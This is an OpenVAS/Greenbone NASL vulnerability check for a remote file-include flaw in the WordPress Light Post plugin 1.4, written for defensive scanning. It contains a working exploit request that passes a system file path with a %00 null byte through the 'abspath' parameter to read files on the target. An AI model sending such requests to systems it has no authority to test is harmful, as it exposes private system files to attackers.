WordPress Light Post Plugin 'abspath' Parameter Remote File Include Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103300");
  script_version("2023-07-28T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-10-14 12:50:33 +0200 (Fri, 14 Oct 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("WordPress Light Post Plugin 'abspath' Parameter Remote File Include Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("gb_wordpress_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50080");
  script_xref(name:"URL", value:"http://plugins.trac.wordpress.org/changeset/437217/light-post/trunk/wp-light-post.php?old=416259&old_path=light-post%2Ftrunk%2Fwp-light-post.php");
  script_xref(name:"URL", value:"http://wordpress.org/extend/plugins/light-post/changelog/");

  script_tag(name:"summary", value:"The Light Post WordPress Plugin is prone to a remote file-include
  vulnerability because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"impact", value:"Exploiting this issue may allow an attacker to compromise the
  application and the underlying system. Other attacks are also possible.");

  script_tag(name:"affected", value:"Light Post Plugin 1.4 is vulnerable. Other versions may also be
  affected.");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for more
  information.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {

  url = string(dir, "/wp-content/plugins/light-post/wp-light-post.php?abspath=/", files[file], "%00");
  if(http_vuln_check(port:port, url:url, pattern:file)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);